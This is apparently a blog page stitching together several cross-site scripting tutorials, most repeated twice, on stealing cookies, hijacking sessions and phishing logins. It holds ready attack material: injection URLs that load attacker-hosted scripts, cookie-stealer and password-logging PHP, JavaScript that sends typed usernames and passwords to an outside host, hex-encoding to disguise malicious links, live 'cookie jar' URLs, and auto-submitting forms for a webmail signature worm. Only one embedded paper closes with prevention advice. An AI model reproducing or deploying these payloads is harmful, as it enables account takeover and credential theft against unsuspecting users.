XSS Are Your Applications Vulnerable, here is an detialed guide to prevent cross site scripting attacks .
click here to download
Showing posts with label cross site scripting. Show all posts
Showing posts with label cross site scripting. Show all posts
cross site scripting XSS cookie stealing tutorial
well what is a xss attack well this is the art of runing scrips in ur victoms pc you can allmost run any script in ther broswer with the right knowlge the most ideas xss is used for stealing cookies
the cookies are bits of infomation used by web servers / web sites to check who u are on on that site
if your a gest it will set a cookie saying ur a gest when u login it will replace that cookie with ur cookie that you loged in with taht will have ur login id , sometimes if its a forum ur password encrpted in md5 hash
and other stuff what the site can think of useing to make sure u are who u say u are
like session id's what exspire after a time limit what the server sets like 10 mins or 60 mins
well in the cookie it has sections that are named so when the server checks who you are
it will read bits of data like the ID and the md5 hash if its a forum most
of the time a forum will be useing the cookie prefix as defult like
nukeevo_ID and so on but the forum admin can change that .
Whats a user id? well this if you are the first to sign up to a forum ur id will be ONE because you
will be the first in the sql table ... i will talk about the sql tables latter. the admin account is
nearly allmost all the time ID 1 or 2 because of corse he wud of had to make the account first
to config the forum now when looking for this type of attack the is ways looking for this type of attack
first geting the hacker point of view of this is to run that script no matter what looking at every way
he or she can find on myspace the was useing flash files to not steal cookies because myspace filter
java script but insted rederecting to a fake login page the files for this can be found in downloads.
that was useing .swf files but the newist one for myspace is useing .mov files this is useing quicktime files
to get a url what wud be to your fake log in a good FREE server to host to run php files is
www.php1h.com you wold upload your cookie stealing scripts on taht server so you can send the users cookie
to that site and view it in the log.
ok how you cud set it up wud be
http://evilhacker.php1h.com/cookiestealer.php = this is the back bone it takes the cookie from the java script we run called XSS.js
http://evilhacker.php1h.com/log.php = this is the log wher the cookie will be sent after the cookiestealer has sent it to the log
www.evilhacker.php1h.com/xss.js = this is the java script that gives the cookie to the cookiestealer.php
: finidng xss attacks :
well the first way will be viewing the site and looking around for any input box's and then viewing the sorce of that site for the name of the input
box we find a xss exspoit in when looking for a xss u need to make sure that
u look at the url in the URLbar and u mite see stuff that look like
www.site.com/blah.html or .php or .cfm or .jsp ..
make sure it has the full url and if it has stuff after a ? mark add it at the end of the url like this by useing a &
www.site.com/page.php?MID=2&(NAME_OF_INPUT_BOX)=(script) so if the input box was called milk for someresion i dono why but just for this tut lets say that.and that the script will just print the words Xss on screen.
www.site.com/page.php?MID=2&MILK="><script>alert("Xss")</script>
the is "> because it tells the input box to stop reading ther and then it runs the java script
and if the input box was called cat it wud look like this
www.site.com/page.php?MID=2&cat="><script>alert("Xss")</script>
so go round a site looking for any type of input box's some times i find if a site has
send to a friend that email box some times works.
after u found it like u get a pop up with the words Xss in it then u will view sorce and look for the words XSs in a input box the basic synax for how it will look like is
<input type="hidden" name="milk" value="" />
you see and from ther you will make the url
what i will talk about at the end so after finding that a xss and ur able 2 run it in ur broswer
you wont to start runing the cookie grabing scripts in ur broswer they will look like this
www.site.com/page.php?MID=2&MILK="><script src="http://evilhacker.php1h.com/xss.js"></script>
if u sent some one that link in a email or on msn it wud run in ther broswer
to execute that java script to steal ther cookies from site.com so if you found a xss in msn.com
you wold have the cookies from msn.com
but you mite ask your self how do i swap my cookies ? well if you are useing firefox the is a add on u can install called cookie editer and
then you can edit your cookies or useing IE im sure you can edit them in internet temp files or somethink but your best bet is FF(firefox)
just remeber when u steal the cookies thay all wont be one long string thay shud be broken up in 2 names like UID,others....out ther but u will just have
to work that out for your self
sending the link to a victom can be hard work sometimes if some one sent you a link that looked like this :
www.site.com/page.php?MID=2&MILK="><script src="http://evilhacker.php1h.com/xss.js"></script> i wudnt click it
but :P if u encrpted some of the words in that url in to hex like this
useing this table :
[img]http://62.31.49.95/asciifull.gif[/img]
you cud encrpt it to look sometink like this
%22%3E%3Cscript src=%22%http://evilhacker.php1h.com/xss.js%22>3E%3C/script%3E = is the script encoded in hex
wud u click that insted and to send it throght msn you mite wont to add a nother & at the end and fill it with shit
like
www.site.com/page.php?MID=2&MILK=%22%3E%3Cscript src=%22%http://evilhacker.php1h.com/xss.js%22>3E%3C/script%3E&mk=12<that wud just make it think it needs to include the link the full of it the is other ways like useing .gif images to run the script on the site but thats a nother story.
well thats it for now hope you injoyed the read
VOl :v60-hackers:
:info:
i have set up some cookie jars for the people to lazzy
http://v60.php1h.com/cookiejar/xss.js
http://v60.php1h.com/cookiejar/log.php
the cookies are bits of infomation used by web servers / web sites to check who u are on on that site
if your a gest it will set a cookie saying ur a gest when u login it will replace that cookie with ur cookie that you loged in with taht will have ur login id , sometimes if its a forum ur password encrpted in md5 hash
and other stuff what the site can think of useing to make sure u are who u say u are
like session id's what exspire after a time limit what the server sets like 10 mins or 60 mins
well in the cookie it has sections that are named so when the server checks who you are
it will read bits of data like the ID and the md5 hash if its a forum most
of the time a forum will be useing the cookie prefix as defult like
nukeevo_ID and so on but the forum admin can change that .
Whats a user id? well this if you are the first to sign up to a forum ur id will be ONE because you
will be the first in the sql table ... i will talk about the sql tables latter. the admin account is
nearly allmost all the time ID 1 or 2 because of corse he wud of had to make the account first
to config the forum now when looking for this type of attack the is ways looking for this type of attack
first geting the hacker point of view of this is to run that script no matter what looking at every way
he or she can find on myspace the was useing flash files to not steal cookies because myspace filter
java script but insted rederecting to a fake login page the files for this can be found in downloads.
that was useing .swf files but the newist one for myspace is useing .mov files this is useing quicktime files
to get a url what wud be to your fake log in a good FREE server to host to run php files is
www.php1h.com you wold upload your cookie stealing scripts on taht server so you can send the users cookie
to that site and view it in the log.
ok how you cud set it up wud be
http://evilhacker.php1h.com/cookiestealer.php = this is the back bone it takes the cookie from the java script we run called XSS.js
http://evilhacker.php1h.com/log.php = this is the log wher the cookie will be sent after the cookiestealer has sent it to the log
www.evilhacker.php1h.com/xss.js = this is the java script that gives the cookie to the cookiestealer.php
: finidng xss attacks :
well the first way will be viewing the site and looking around for any input box's and then viewing the sorce of that site for the name of the input
box we find a xss exspoit in when looking for a xss u need to make sure that
u look at the url in the URLbar and u mite see stuff that look like
www.site.com/blah.html or .php or .cfm or .jsp ..
make sure it has the full url and if it has stuff after a ? mark add it at the end of the url like this by useing a &
www.site.com/page.php?MID=2&(NAME_OF_INPUT_BOX)=(script) so if the input box was called milk for someresion i dono why but just for this tut lets say that.and that the script will just print the words Xss on screen.
www.site.com/page.php?MID=2&MILK="><script>alert("Xss")</script>
the is "> because it tells the input box to stop reading ther and then it runs the java script
and if the input box was called cat it wud look like this
www.site.com/page.php?MID=2&cat="><script>alert("Xss")</script>
so go round a site looking for any type of input box's some times i find if a site has
send to a friend that email box some times works.
after u found it like u get a pop up with the words Xss in it then u will view sorce and look for the words XSs in a input box the basic synax for how it will look like is
<input type="hidden" name="milk" value="" />
you see and from ther you will make the url
what i will talk about at the end so after finding that a xss and ur able 2 run it in ur broswer
you wont to start runing the cookie grabing scripts in ur broswer they will look like this
www.site.com/page.php?MID=2&MILK="><script src="http://evilhacker.php1h.com/xss.js"></script>
if u sent some one that link in a email or on msn it wud run in ther broswer
to execute that java script to steal ther cookies from site.com so if you found a xss in msn.com
you wold have the cookies from msn.com
but you mite ask your self how do i swap my cookies ? well if you are useing firefox the is a add on u can install called cookie editer and
then you can edit your cookies or useing IE im sure you can edit them in internet temp files or somethink but your best bet is FF(firefox)
just remeber when u steal the cookies thay all wont be one long string thay shud be broken up in 2 names like UID,others....out ther but u will just have
to work that out for your self
sending the link to a victom can be hard work sometimes if some one sent you a link that looked like this :
www.site.com/page.php?MID=2&MILK="><script src="http://evilhacker.php1h.com/xss.js"></script> i wudnt click it
but :P if u encrpted some of the words in that url in to hex like this
useing this table :
[img]http://62.31.49.95/asciifull.gif[/img]
you cud encrpt it to look sometink like this
%22%3E%3Cscript src=%22%http://evilhacker.php1h.com/xss.js%22>3E%3C/script%3E = is the script encoded in hex
wud u click that insted and to send it throght msn you mite wont to add a nother & at the end and fill it with shit
like
www.site.com/page.php?MID=2&MILK=%22%3E%3Cscript src=%22%http://evilhacker.php1h.com/xss.js%22>3E%3C/script%3E&mk=12<that wud just make it think it needs to include the link the full of it the is other ways like useing .gif images to run the script on the site but thats a nother story.
well thats it for now hope you injoyed the read
VOl :v60-hackers:
:info:
i have set up some cookie jars for the people to lazzy
http://v60.php1h.com/cookiejar/xss.js
http://v60.php1h.com/cookiejar/log.php
A guide to advanced cross site scripting XSS
• Introduction
• POST Method
• Expansion on POST: secure areas
• Generalized client automation
• Prevention
Introduction
I recently read in an article the incorrect statement that cross site
scripting (XSS) can not be exploited if the POST method is used
instead of GET, which is completely false. The method used to exploit
POST variables may also be modified to allow for more advanced
timing attacks which could allow an attacker to gain access to areas
that require the user log in to a password protected area. When
coupled with social engineering this method becomes an extremely
reliable tool for attackers to gain access to secured areas via account
hijacking.
In typical cross site scripting the target views a website which
contains code inserted into the HTML which was not written by the
website designer or administrator. This bypasses the document object
model which was intended to protect domain specific cookies
(sessions, settings, etc.). In most instances the target is sent a link to
a website on the server which the target has a legitimate account and
by viewing that website the attackers malicious code is executed
(commonly javascript to send the user's cookie to a third party server,
in effect stealing their session and their account). This was a quick
overview of cross site scripting and a solid foundation is needed
before proceeding, my recommended reading is iDefense's XSS article
(google.com). The attack presented below in conjunction with
iDefense's method of attack automation makes for a very powerful
combination.
NOTE (October 19 2003) – Sverre Huseby has brought to my attention
that the generalized version attack is not unique, it was discovered
first by Jim Fulton
(http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan),
without my knowledge.
Post Method
Because POST variables are sent separate of the actual website URL a
direct attack from the target clicking on the malicious link and
directly accessing the server vulnerable to the XSS attack is not
possible (as far as I know). This is opposed to a GET request where
the variable arguments are stored in the URL, such as
http://www.google.com/search?hl=en&q=xss where the variables hl
and q are seen in the URL. The implications of variables being sent in
this manner are not in the scope of this article, but the POST method
sends variables in the HTTP request and is not integrated in the URL
such as is the case with GET.
To exploit a web page with a cross site scripting vulnerability via a
GET variable a URL in the form of
http://vulnerable.com/search?q=<script>alert(document.cookie)
</script> is composed. This URL is then sent to the target, upon
clicking the URL they are taken to vulnerable.com's handy search
engine (not to mention the dual HTML rendering within their site
functionality) and the target receives a javascript pop up with their
session cookie.
Creating exploits for POST requests are only trivially more difficult,
an intermediary web page is needed which will hold code that will
force the client web browser in to making the POST request to the
vulnerable server. This is trivially done via a form (with method POST
and action of the target script) and javascript code which will
automatically submit the form on page load. See example code block
below.
<form method="POST" action="http://vulnerable.com/search"
name="explForm">
<input type=hidden name=q value="<script>alert
(document.cookie)</script>">
</form>
<script language="Javascript">
setTimeout('explForm.submit()', 1);
</script>
One millisecond after the page is loaded containing this code the form
(completely invisible in the rendered HTML) is submitted. In this case
you have a simple search for "<script>alert(document.cookie)
</script>" done on vulnerable.com's search engine (and consequently
a javascript alert appears because for the sake of this paper,
vulnerable.com's search engine is vulnerable to a cross site scripting
attack). The above code can be easily changed if the target script
requires variables to be GET, change method="POST" to
method="GET". The above code can be placed on a static web page
on a web server controlled by the attacker and then the link sent to
the target. Another vector to deliver the form and javascript to the
target is via a site vulnerable to XSS through a GET request.
In either case above the attacker sends the target the malicious web
page, the malicious web page forms the request and the request is
sent to the vulnerable server. This advances the classical cross site
scripting attack from a single hop (target --> page within vulnerable
website containing inserted code) to two hops (target --> intermediary
request formulation page --> page within vulnerable website
containing inserted code).
Expansion on POST: secure areas
The problem of password protected areas also arises, where a
password is required every time the user accesses the website. In
many websites which require secure client access the cookie is not
persistent to prevent further users on the computer from logging in to
the account.
Building upon the code presented above we can circumvent any
restrictions and still steal the session cookie for the temporary
session. Unfortunately the time window in which attacks can take
place in many cases is very small, with the help of iDefense's idea of
automating attacks this small time window is no longer an issue. By
adding code on the intermediary web page which opens a new
window with the login prompt the user may now log in to the secured
area (some social engineering might be required in order to force the
user to log in). See code below.
<form method="POST" action="http://vulnerable.com/search"
name="explForm">
<input type=hidden name=q value="<script>alert
(document.cookie)</script>">
</form>
<script language="Javascript">
window.open(“http://vulnerable.com/secure_login”);
setTimeout('explForm.submit()', 1000*30);
</script>
Note: changes from previous code diplayed in bold
With the intermediary web page still in the background, the form
submission may now be timed to allow the user to log in successfully
before the exploit is sent. To change the time until the form is
submitted change the second argument in the setTimeout function,
this is the time in milliseconds until the javascript code in argument
one is executed. With the user successfully logged in a child window
of the intermediary web page, when the form on the intermediary web
page is submitted the form will go directly to the problematic script,
malicious code inserted, and the user session may be stolen.
Using an intermediary for exploitation slightly increases the
complexity of a successful attack but allows for a high degree of
flexibility, any variable that is used on a dynamically created web
page which does not sanitize HTML markup is vulnerable to cross site
scripting.
Generalized Client Automation
Generalizing on the above technique brings to light another, and in
some cases a very serious, vulnerability. The proposed technique
allows an attacker to fill out forms with data they specify and submit
them automatically under the context of the client. Any forms which
accept data from the client, assuming they in fact inputted the data
they are submitting, are vulnerable.
This arises when the form itself is dependent only on static or
predictable information (information given to a third party site such
as referrer can help in prediction). Using the method of exploitation
presented above, client automation of form submission is a trivial
task.
<form method="POST"
action="http://vulnerable.com/changeMailSettings" name="f">
<input type=hidden name=reply_to value="attacker@h4x.com">
<input type=hidden name=signature value=”<a
href=http://h4x.com/exploit.htm>Click here</a> for a free
computer security test, trust me, I used it and was
amazed!”>
</form>
<script language="Javascript">
f.submit();
</script>
An interesting use of this would be the creation of a webmail
signature virus. Using the techniques presented above the attacker
could compose a web page that when visited would automate the the
form which changes the signature sent out on emails to contain the
link to the malicious page itself. Every time a user “infected” with the
signature virus would send an email unknowingly they would also
send along text and a link persuading the next victim to also click it,
and become infected. Easy automated spamming? Yes.
Hotmail and Yahoo! Mail have both been tested for this vulnerability
and they are secure against it, however each appear to have
combated the flaw in very different ways. Hotmail uses a simple
referrer check, if the referrer is not from an authorized Hotmail page
the user is sent directly to a login page. Yahoo enacted a very novel
approach to fix the problem, on each form there is a hidden value
named “.crumb” which is related to the cookie. All protection against
this flaw lies within the crumb, if the crumb can be predicted without
the cookie then Yahoo is vulnerable to this flaw.
Prevention
Because the generalized client automation attack is very simple at the
server end (ideally the server views only a legitimate request by the
client) it is somewhat more difficult to prevent. Due to the fact that
the client forms the request at their browser HTTP Referrer headers
can be trusted and should be validated to ensure they come from an
internal script inside the system. Referrer checking assumes however
that the attacker can not insert arbitrary HTML in to any of the
trusted scripts, though such attack would be considered cross site
scripting and separate from this.
At the very minimum to protect against cross site scripting attacks
user input must be stripped of any potentially dangerous characters
such as < > “ &. As any conscientious security professional would do,
I must preach the importance of the whitelisting approach over
blacklisting; in whitelisting only explicitly allowed characters are
permitted in the input. It appears that all security vulnerabilities stem
from user input, “Hello world” can not be exploited unless the
attacker can manage in some form to input data. This should lead us
to believe that it is trivial to ensure security (in a large amount of
cases of cases, but not all) by validating user input to a strict form.
Regular expressions are extremely powerful for the task of
whitelisting characters and validating that data does in fact conform
to the form standards (include length constraints also in the concept
of form). Once data is validated to a set of criteria security analysis is
purely creative thinking of how the criteria may be managed to let
through specific items it should not.
Another option to aid in the prevention of security flaws is a project I
am affiliated with, currently code named Nirvana. This project is
devoted to creation of user input filters and validation function to help
developers create secure code faster. The project page is now housed
at http://libox.net/sanitize.php but will soon be moving to
http://www.owasp.org.
My home on the web is http://libox.net/, the most current version of
this document may be found there.
• POST Method
• Expansion on POST: secure areas
• Generalized client automation
• Prevention
Introduction
I recently read in an article the incorrect statement that cross site
scripting (XSS) can not be exploited if the POST method is used
instead of GET, which is completely false. The method used to exploit
POST variables may also be modified to allow for more advanced
timing attacks which could allow an attacker to gain access to areas
that require the user log in to a password protected area. When
coupled with social engineering this method becomes an extremely
reliable tool for attackers to gain access to secured areas via account
hijacking.
In typical cross site scripting the target views a website which
contains code inserted into the HTML which was not written by the
website designer or administrator. This bypasses the document object
model which was intended to protect domain specific cookies
(sessions, settings, etc.). In most instances the target is sent a link to
a website on the server which the target has a legitimate account and
by viewing that website the attackers malicious code is executed
(commonly javascript to send the user's cookie to a third party server,
in effect stealing their session and their account). This was a quick
overview of cross site scripting and a solid foundation is needed
before proceeding, my recommended reading is iDefense's XSS article
(google.com). The attack presented below in conjunction with
iDefense's method of attack automation makes for a very powerful
combination.
NOTE (October 19 2003) – Sverre Huseby has brought to my attention
that the generalized version attack is not unique, it was discovered
first by Jim Fulton
(http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan),
without my knowledge.
Post Method
Because POST variables are sent separate of the actual website URL a
direct attack from the target clicking on the malicious link and
directly accessing the server vulnerable to the XSS attack is not
possible (as far as I know). This is opposed to a GET request where
the variable arguments are stored in the URL, such as
http://www.google.com/search?hl=en&q=xss where the variables hl
and q are seen in the URL. The implications of variables being sent in
this manner are not in the scope of this article, but the POST method
sends variables in the HTTP request and is not integrated in the URL
such as is the case with GET.
To exploit a web page with a cross site scripting vulnerability via a
GET variable a URL in the form of
http://vulnerable.com/search?q=<script>alert(document.cookie)
</script> is composed. This URL is then sent to the target, upon
clicking the URL they are taken to vulnerable.com's handy search
engine (not to mention the dual HTML rendering within their site
functionality) and the target receives a javascript pop up with their
session cookie.
Creating exploits for POST requests are only trivially more difficult,
an intermediary web page is needed which will hold code that will
force the client web browser in to making the POST request to the
vulnerable server. This is trivially done via a form (with method POST
and action of the target script) and javascript code which will
automatically submit the form on page load. See example code block
below.
<form method="POST" action="http://vulnerable.com/search"
name="explForm">
<input type=hidden name=q value="<script>alert
(document.cookie)</script>">
</form>
<script language="Javascript">
setTimeout('explForm.submit()', 1);
</script>
One millisecond after the page is loaded containing this code the form
(completely invisible in the rendered HTML) is submitted. In this case
you have a simple search for "<script>alert(document.cookie)
</script>" done on vulnerable.com's search engine (and consequently
a javascript alert appears because for the sake of this paper,
vulnerable.com's search engine is vulnerable to a cross site scripting
attack). The above code can be easily changed if the target script
requires variables to be GET, change method="POST" to
method="GET". The above code can be placed on a static web page
on a web server controlled by the attacker and then the link sent to
the target. Another vector to deliver the form and javascript to the
target is via a site vulnerable to XSS through a GET request.
In either case above the attacker sends the target the malicious web
page, the malicious web page forms the request and the request is
sent to the vulnerable server. This advances the classical cross site
scripting attack from a single hop (target --> page within vulnerable
website containing inserted code) to two hops (target --> intermediary
request formulation page --> page within vulnerable website
containing inserted code).
Expansion on POST: secure areas
The problem of password protected areas also arises, where a
password is required every time the user accesses the website. In
many websites which require secure client access the cookie is not
persistent to prevent further users on the computer from logging in to
the account.
Building upon the code presented above we can circumvent any
restrictions and still steal the session cookie for the temporary
session. Unfortunately the time window in which attacks can take
place in many cases is very small, with the help of iDefense's idea of
automating attacks this small time window is no longer an issue. By
adding code on the intermediary web page which opens a new
window with the login prompt the user may now log in to the secured
area (some social engineering might be required in order to force the
user to log in). See code below.
<form method="POST" action="http://vulnerable.com/search"
name="explForm">
<input type=hidden name=q value="<script>alert
(document.cookie)</script>">
</form>
<script language="Javascript">
window.open(“http://vulnerable.com/secure_login”);
setTimeout('explForm.submit()', 1000*30);
</script>
Note: changes from previous code diplayed in bold
With the intermediary web page still in the background, the form
submission may now be timed to allow the user to log in successfully
before the exploit is sent. To change the time until the form is
submitted change the second argument in the setTimeout function,
this is the time in milliseconds until the javascript code in argument
one is executed. With the user successfully logged in a child window
of the intermediary web page, when the form on the intermediary web
page is submitted the form will go directly to the problematic script,
malicious code inserted, and the user session may be stolen.
Using an intermediary for exploitation slightly increases the
complexity of a successful attack but allows for a high degree of
flexibility, any variable that is used on a dynamically created web
page which does not sanitize HTML markup is vulnerable to cross site
scripting.
Generalized Client Automation
Generalizing on the above technique brings to light another, and in
some cases a very serious, vulnerability. The proposed technique
allows an attacker to fill out forms with data they specify and submit
them automatically under the context of the client. Any forms which
accept data from the client, assuming they in fact inputted the data
they are submitting, are vulnerable.
This arises when the form itself is dependent only on static or
predictable information (information given to a third party site such
as referrer can help in prediction). Using the method of exploitation
presented above, client automation of form submission is a trivial
task.
<form method="POST"
action="http://vulnerable.com/changeMailSettings" name="f">
<input type=hidden name=reply_to value="attacker@h4x.com">
<input type=hidden name=signature value=”<a
href=http://h4x.com/exploit.htm>Click here</a> for a free
computer security test, trust me, I used it and was
amazed!”>
</form>
<script language="Javascript">
f.submit();
</script>
An interesting use of this would be the creation of a webmail
signature virus. Using the techniques presented above the attacker
could compose a web page that when visited would automate the the
form which changes the signature sent out on emails to contain the
link to the malicious page itself. Every time a user “infected” with the
signature virus would send an email unknowingly they would also
send along text and a link persuading the next victim to also click it,
and become infected. Easy automated spamming? Yes.
Hotmail and Yahoo! Mail have both been tested for this vulnerability
and they are secure against it, however each appear to have
combated the flaw in very different ways. Hotmail uses a simple
referrer check, if the referrer is not from an authorized Hotmail page
the user is sent directly to a login page. Yahoo enacted a very novel
approach to fix the problem, on each form there is a hidden value
named “.crumb” which is related to the cookie. All protection against
this flaw lies within the crumb, if the crumb can be predicted without
the cookie then Yahoo is vulnerable to this flaw.
Prevention
Because the generalized client automation attack is very simple at the
server end (ideally the server views only a legitimate request by the
client) it is somewhat more difficult to prevent. Due to the fact that
the client forms the request at their browser HTTP Referrer headers
can be trusted and should be validated to ensure they come from an
internal script inside the system. Referrer checking assumes however
that the attacker can not insert arbitrary HTML in to any of the
trusted scripts, though such attack would be considered cross site
scripting and separate from this.
At the very minimum to protect against cross site scripting attacks
user input must be stripped of any potentially dangerous characters
such as < > “ &. As any conscientious security professional would do,
I must preach the importance of the whitelisting approach over
blacklisting; in whitelisting only explicitly allowed characters are
permitted in the input. It appears that all security vulnerabilities stem
from user input, “Hello world” can not be exploited unless the
attacker can manage in some form to input data. This should lead us
to believe that it is trivial to ensure security (in a large amount of
cases of cases, but not all) by validating user input to a strict form.
Regular expressions are extremely powerful for the task of
whitelisting characters and validating that data does in fact conform
to the form standards (include length constraints also in the concept
of form). Once data is validated to a set of criteria security analysis is
purely creative thinking of how the criteria may be managed to let
through specific items it should not.
Another option to aid in the prevention of security flaws is a project I
am affiliated with, currently code named Nirvana. This project is
devoted to creation of user input filters and validation function to help
developers create secure code faster. The project page is now housed
at http://libox.net/sanitize.php but will soon be moving to
http://www.owasp.org.
My home on the web is http://libox.net/, the most current version of
this document may be found there.
What is cross site scripting XSS
XSS are certainly changing the away that Phishing attacks are perpetrated.
This video is controversial by Brial Contos, CISSP from a company named IMPERVA. it takes through each and every step involved to find a xss vulnerability in a webpage . and showcases some of the basic steps that you need to know.
for example we have a target as :-
http://Thewebsite.com/google/add.php?request=
Suppose, there is a login form and a XSS vulnerability in the
same page.
In order to perpetrate the phishing attack one need to inject JavaScript code in the
variable to make that the victim’s browser load a JavaScript file.
From a brief analyses at the HTML that the site generates I know that :
• The value that the variable “request” receives is not sanitized at all.
• The login form is named “login_clientes”
• The login form have two input fields for user data: “user” and “pass”.
So I will use the following JavaScript code:
loginForm = document.forms['login_clientes'];
function parseData()
{
var username = loginForm.user.value;
var password = loginForm.pass.value;
saveData(username,password);
return true;
}
function saveData(username,password)
{
var frame=document.createElement('iframe');
frame.src="http://myhost/myparsefile.php?username=" + username + "&password=" +
password;
frame.style.display='none';
document.body.appendChild(frame);
}
loginForm.onsubmit = parseData;
So, if browsing a page like (don’t forget to encode the part of the injection):
http://Thewebsite.com/google/add.php?request=
A victim will give you his personal data, as long as he clicks the Submit button.
The ideas that you must have in mind are:
• If you can make the user browser load your JavaScript file or code when visiting
some site, you can change that site behavior.
• If some site has forms and XSS vulnerabilities you can try to get the user
inputted data.
• If the user trust the site, the user will, probably, give his personal data
anywhere in that site.
And if the site has vulnerabilities in some page where it doesn’t have forms, and have
some form(s) in other page(s).
This video is controversial by Brial Contos, CISSP from a company named IMPERVA. it takes through each and every step involved to find a xss vulnerability in a webpage . and showcases some of the basic steps that you need to know.
for example we have a target as :-
http://Thewebsite.com/google/add.php?request=
Suppose, there is a login form and a XSS vulnerability in the
same page.
In order to perpetrate the phishing attack one need to inject JavaScript code in the
variable to make that the victim’s browser load a JavaScript file.
From a brief analyses at the HTML that the site generates I know that :
• The value that the variable “request” receives is not sanitized at all.
• The login form is named “login_clientes”
• The login form have two input fields for user data: “user” and “pass”.
So I will use the following JavaScript code:
loginForm = document.forms['login_clientes'];
function parseData()
{
var username = loginForm.user.value;
var password = loginForm.pass.value;
saveData(username,password);
return true;
}
function saveData(username,password)
{
var frame=document.createElement('iframe');
frame.src="http://myhost/myparsefile.php?username=" + username + "&password=" +
password;
frame.style.display='none';
document.body.appendChild(frame);
}
loginForm.onsubmit = parseData;
So, if browsing a page like (don’t forget to encode the part of the injection):
http://Thewebsite.com/google/add.php?request=
A victim will give you his personal data, as long as he clicks the Submit button.
The ideas that you must have in mind are:
• If you can make the user browser load your JavaScript file or code when visiting
some site, you can change that site behavior.
• If some site has forms and XSS vulnerabilities you can try to get the user
inputted data.
• If the user trust the site, the user will, probably, give his personal data
anywhere in that site.
And if the site has vulnerabilities in some page where it doesn’t have forms, and have
some form(s) in other page(s).
How to hack using Cross Site Scripting xss
What is XSS ?
XSS or CSS stands for Cross Site Scripting which is believed to be the most common hacking technique. It's about injecting some malicious commands using the scripting languages to the website vulnerable areas, this makes the browser to just run the code without filtering the attackers input. This code can be phishing script or anything that could harm the users privacy.
How to use XSS technique?
To use this code you should insert this to search box or any vulnerable area of website that make this embedded to website coding so that iit can be executed at runtime. Here are some attack techniques you can do with a XSS flaw:
1.) Phishing script inject:
Just inject a 'user' and 'password' field in html with the <html> and <body> tags), that the victim may think he need
to login to the target site.
Here an example:
www.site.ru/google.php?search=<html><body><head><meta content="text/html; charset=utf-8"></meta></head>
<div style="text-align: center;"><form Method="POST" Action="http://www.phishingsite.ru/phishingscript.php">
Phishingpage :<br /><br/>Username :<br /> <input name="User" /><br />Password :<br />
<input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" />
<br /></form></div></body></html>
content of phishingscript.php
<?php
login = $_POST['user'];
password = $_POST['Password'];
open = fopen('log.txt', 'a+');
fputs($open, 'Username : ' . $login . '<br >' . '
Password : ' . $password . '<br >' . '<br >');
?>
2.) Iframe Phishing:
Simple thing, just inject a javascript code containing an iframe where your phishing site is embeeded.
obviously it needs to look just like the target site.
Here an example:
www.site.ru/google.php?search=<iframe src="http://www.yourphishingsite.ru" height="100%" width="100%"></iframe>
(Note: height="100%" width="100%" means that the whole window is filled with that iframe.)
The target site will spawn your phishing site in an Iframe, and the website user / victims won't see a
difference and log in (If they're are foolish enough).
3.) Rediriction Phishing:
Also simple, just inject a javascript rediriction script that leads to your phishingsite, of course it needs to look just like the target site.
Here an example:
www.site.ru/google.php?search=<script>document.location.href="http://www.yourphishingsite.ru"</script>
or
www.site.ru/google.php?search=<META HTTP-EQUIV="refresh" CONTENT="0; URL="http://www.yorphishingsite.ru">
4.) Cookie stealing:
One of the feared things in XSS flaws is the cookie stealing attack. In this method you need to place this cookiestealer.php in your hoster, and then inject a javascript with your cookie stealer script embedded on your target website.
content of cookiestealer.php (found it somewhere with google)
<?php
cookie = $HTTP_GET_VARS["cookie"];
file = fopen('log.txt', 'a');
fwrite($file, $cookie . "nn");
fclose($file);
?>
Save it as cookiestealer.php and create a 'log.txt' and upload both files
on your own webspace, in the same directory and set "chmod 777".
Inject the following code in your target website:
http://www.site.ru/google.php?search=<script>location.href = 'http://phishingsite.ru/cookiestealer.php?cookie='+document.cookie;</script>
Then the victim's cookie (target's website user who visited the url above) should
appear in the log.txt.
Now you simply need to insert the cookie (with e.g. live http headers firefox addon)
and use it.
Obviously you need to replace
http://www.yourphishingsite.ru
With the url of your phishingsite.
PROTIP: rename your 'cookiestealer.php' to something like 'turtles.php', #
this looks less suspicous.
Subscribe to:
Posts (Atom)